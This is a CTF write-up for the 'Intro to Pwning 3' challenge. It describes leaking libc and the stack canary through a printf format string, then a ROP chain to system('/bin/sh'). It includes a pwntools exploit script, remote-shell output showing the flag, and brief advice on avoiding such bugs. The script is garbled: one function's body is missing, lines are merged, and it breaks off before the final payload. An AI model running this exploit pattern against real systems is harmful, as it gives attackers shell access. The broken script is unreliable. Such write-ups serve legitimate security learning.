Intro to Pwning 3 - localo

Category: Pwn
Difficulty: Baby
Author: LiveOverflow
Dependencies: Intro to Pwning 2

Description

This is a introductory challenge for exploiting Linux binaries with memory corruptions. Nowodays there are quite a few mitigations that make it not as straight forward as it used to be. So in order to introduce players to pwnable challenges, LiveOverflow created a video walkthrough of the first challenge. An alternative writeup can also be found by 0x4d5a. More resources can also be found here.

Service running at: hax1.allesctf.net:9102

Summery

This is the writeup for the third part of the Intro to Pwning series. This writeup depends on my writeup for Intro to Pwning 2.
The code for the third part is the same as for the second part, except that we are now a Gryffindor and the program asks for the flag of the second part.

Solution

The exploit of the writeup for the last part works after changing the flag and pointing it to the right server. This writeup would have close to no content and that's why I decided to omit one detail in the other writeups.
The code contains a function that is never called: WINgardium_leviosa

The one from pwn2.c and pwn1.c

void WINgardium_leviosa() {
printf("┌───────────────────────┐\n");
printf("│ You are a Slytherin.. │\n");
printf("└───────────────────────┘\n");
system("/bin/sh");
}


And the one from pwn3.c

void WINgardium_leviosa() {
printf("They has discovered our secret, Nagini.\n");
printf("It makes us vulnerable.\n");
printf("We must deploy all our forces now to find them.\n");
// system("/bin/sh") it's not that easy anymore.
}


As I mentioned in my writeup for Intro to Pwning 3 I wanted to speedrun the challenges. Therefore I took a look at all three parts before starting.
The first two parts had a gadget that calls system("/bin/sh") for us, therefore it would have been possible to leak the return address of welcome and calculate the base address of the pwn1/2 instead. The buffer overflow would have written the address of WINgardium_leviosa and it would spawn a shell.

For part three this gadget is not anymore. But there is no need for ROP, we could have jumped back to welcome and written the address of system in the got entry for printf using the %n format specifier, returned back to welcome again and used /bin/sh as our name to spawn a shell. But the use of printf to write addresses can result in many chars to print to stdout and involves more math than just leak-offset.
And that is why I decided to go for ROP.

$./rop remote [*] '/ctf/pwn3' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [x] Opening connection to hax1.allesctf.net on port 9102 [x] Opening connection to hax1.allesctf.net on port 9102: Trying 147.75.85.99 [+] Opening connection to hax1.allesctf.net on port 9102: Done [*] '/ctf/libc.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] __libc_start_main+243: 0x7feb8b4941e3 [+] Libc base address: 0x7feb8b46d000 [+] stack canary: 0xef1af488e2c2c300 [*] Loading gadgets for '/ctf/libc.so' [*] Loaded 195 cached gadgets for 'libc.so' [*] Switching to interactive mode ~ Protego!$ ls
flag
pwn3
ynetd
$cat flag CSCG{VOLDEMORT_DID_NOTHING_WRONG}$ exit
[*] Got EOF while reading in interactive
[*] Interrupted


Code

#!/usr/bin/env python3
from pwn import *
from huepy import *
import sys
import os
import socket
import subprocess
import re

vuln_host = 'hax1.allesctf.net'#'127.0.0.1'
vuln_port = '9102'

app_path = os.getcwd()+'/pwn3'

lo = not 'remote' in sys.argv
dbg = 'dbg' in sys.argv or 'debug' in sys.argv

if dbg:
log.setLevel(2)

break_main = 'break_main' in sys.argv
buffer_overflow = 'buffer_overflow' in sys.argv

context(os='linux', arch='amd64', bits=64, terminal=['tmux', 'splitw', '-h'])

def init_dbg(app_path):
args = []
if break_main and not buffer_overflow:
args.append('set stop-on-solib-events 1')
args.append('continue')
args.append('continue')
args.append('break __libc_start_main')
args.append('commands')
args.append('break *$rdi') args.append('continue') args.append('end') args.append('continue') args.append('delete') elif buffer_overflow: args.append('set context-sections ""') args.append('define hook-stop') args.append('printf "cyclic: %p\\n", *((int *)$rsp)')
args.append('python __import__("time").sleep(10000)')
args.append('end')
args.append('continue')
else:
args.append('continue')
return gdb.debug(app_path, "\n".join(args))

elf = ELF(app_path)
if lo:
p = process(app_path) if not dbg else init_dbg(app_path)
lib = "/lib/x86_64-linux-gnu/libc.so.6"
else:
p = remote(vuln_host,vuln_port)
lib = "libc.so"
libc = ELF(lib)

def nop_libc():
rop = ROP(libc)
rop.raw(rop.search(regs=[], order = 'regs')[0])
return rop.chain()

code = libc.disasm(libc.symbols['__libc_start_main'],0x500)
r = re.findall(r".*call.*rax.*",code)
if len(r)>0:
offset = int(r[0].split(":")[0].strip(),16)+len(asm('call rax'))
log.success("__libc_start_main+%d: "%(offset-libc.symbols['__libc_start_main']) + green(hex(leak)))
return
log.error("failed to leak libc, can't calculate base address")
exit(1)

def shell_system():
rop = ROP(libc)
rop.raw(next(libc.search(b'/bin/sh\x00')))
rop.call(libc.symbols['system'])
log.debug("Shell chain: \n" + white(rop.dump()))
return rop.chain()

#PWN
if lo:
p.sendlineafter(":\n",r"CSCG{THIS_IS_TEST_FLAG}")
else:
p.sendlineafter(":\n",r"CSCG{NOW_GET_VOLDEMORT}")

if buffer_overflow:
p.sendlineafter(":",b"A")
p.sendlineafter(":",b"Expelliarmus\x00"+cyclic(4096)) #we will hit the stack protector, but the offsets haven't changed anyway

p.sendlineafter(":\n",b"AAAA%45$p BBBB%39$p")
leak_libc_start_main(leak)
log.success("stack canary: " + green(hex(leak)))

• use safe functions like read to prevent buffer overflows
• never use printf on user controlled data, use puts or printf("%s",data)